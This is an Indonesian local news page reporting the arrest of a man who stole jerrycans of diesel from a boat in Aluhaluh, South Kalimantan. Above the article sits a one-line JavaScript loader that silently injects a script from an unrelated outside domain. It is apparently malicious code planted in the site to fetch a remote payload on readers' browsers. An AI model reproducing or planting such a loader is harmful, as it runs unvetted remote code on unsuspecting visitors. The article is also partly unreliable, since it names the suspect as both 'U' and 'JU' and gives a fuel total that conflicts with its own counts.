(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Pencuri Solar di Kelotok Milik Warga Aluhaluh Dibekuk Polisi


KANALKALIMANTAN.COM, MARTAPURA – Aksi penjarahan dilakukan seorang warga Desa Pulantan RT 06, Kecamatan Aluhaluh, Kabupaten Banjar. U (29) mencuri enam buah jirigen BBM berisi solar masing-masing 35 liter yang berada di atas kelotok milik warga.

U berhasil ditangkap setelah melancarkan aksinya yang kedua dan sempat dipergoki pemilik solar. Pemilik solar saat kejadian sempat berteriak maling dan pelaku yang mendengar teriakan tersebut langsung bergegas kabur.

Selang setengah bulan setelah kejadian itu, U ditangkap personel Polsek Aluhaluh. Penangkapan pelaku U dipimpin Kapolsek Aluhaluh Iptu H Walimin bersama Kanit Reskrim Polsek Aluhaluh, pada Jumat (3/6/2022) sekitar pukul 10.00 Wita.

Kronologi kejadian pada saat pelaku berusaha untuk membawa hasil curian yang kedua, warga merasa mencurigai tindak tanduk pelaku kemudian meneriaki pelaku maling, lalu pelaku kabur.

 

 

Baca juga: 16 Korban KM Ladang Pertiwi Belum Ditemukan, Operasi SAR Dilanjutkan

Iptu Walimin mengatakan, kejadian pertama dilakukan U pada Jumat (6/5/2022) dan disusul seminggu kemudian, tepatnya pada Minggu (15/5/2022) sekitar pukul 00.15 Wita. Pada setiap aksinya U mencuri sebanyak tiga tangki solar.

“Pelaku mengambil solar milik korban yang ditaruh di atas perahu dengan cara dilarutkan dan ditarik ke pinggir sungai,” jelasnya.

U ditangkap langsung oleh aparat saat berada di Pasar Jumat Desa Aluhaluh Besar, atas aksi pencurian dengan pemberatan yang diatur dalam pasal 363 KUHP. Pelaku pun mengakui perbuatannya dan bersama barang bukti total enam tangki solar atau 120 liter solar dibawa ke Polsek Aluhaluh guna proses lebih lanjut.

“Kami telah menangkap pelaku berinisial JU berdasarkan hasil penyelidikan yang dilakukan oleh anggota kami dengan berdasarkan ciri-ciri pelaku yang kami peroleh dari para saksi yang melihat aksi tersebut,” ungkap Iptu Walimin.

“Dan pelaku pun setelah kami interogasi mengakui perbuatannya,” tuntasnya. (kanalkalimanta.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

3 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

4 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

6 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

6 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

19 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

21 jam ago

This website uses cookies.